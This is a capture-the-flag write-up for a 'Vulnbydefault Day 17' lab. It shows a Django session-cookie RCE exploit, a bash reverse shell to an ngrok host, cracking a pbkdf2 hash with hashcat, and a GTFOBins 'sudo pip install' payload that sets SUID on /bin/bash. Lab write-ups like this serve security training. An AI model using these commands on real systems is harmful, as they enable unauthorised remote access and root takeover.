ChallengeWriteup

Day 17 Challenge Writeups

Cover Image for Day 17 Challenge Writeups
Team
Team

Vulnbydefault Day 17 Writeup

On opening site url we have given this interface

image.png

Lets first register a account

image.png

Alright after registering and login the account we have got this dashboard

image.png

Enumeration

Lets fuzz the application

image.png

we have got .env

image.png

using wapplyzer we can see that this application is using django

image.png

Lets search for it on google

image.png

Lets clone it and setup all the requirements

image.png

Copy sessionid from cookies

image.png

Setup .env in DJRCE folder

image.png

python3 exp.py

image.png

replace this cookie with sessionid Now on refresh our response would come after 10 seconds this shows that we have our command executed Lets use reverse shell payload

bash -c 'bash -i >& /dev/tcp/ngrok/port 0>&1'

In exp.py replace sleep 10 with your reverse shell payload

image.png

Now after replacing new cookie with sessionid and refreshing page we have got shell

image.png

Flag 1

we have db file in our current directory /app

image.png

Upload it and analyze it in sqlitebrowser

image.png

Lets crack developer user hash

pbkdf2_sha256$600000$w87fTmTTCh3WAlIh3PDxYh$ETqfzOn5SHqKwuiEGOagenYpPFVXMSpAHky8OdSt1Es=
hashcat -m 10000 hash /usr/share/wordlists/rockyou.txt

hash got cracked

image.png

user.txt

Lets switch to developer user

developer:checkers

image.png

Flag 2

Lets check developer mail

image.png

Flag 3

We can check cronjob of developer user

image.png

root.txt

Lets check sudo privileges of developer user

image.png

Lets use payload from gtfobins

image.png

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'chmod u+s /bin/bash')" > $TF/setup.py
sudo pip install $TF

image.png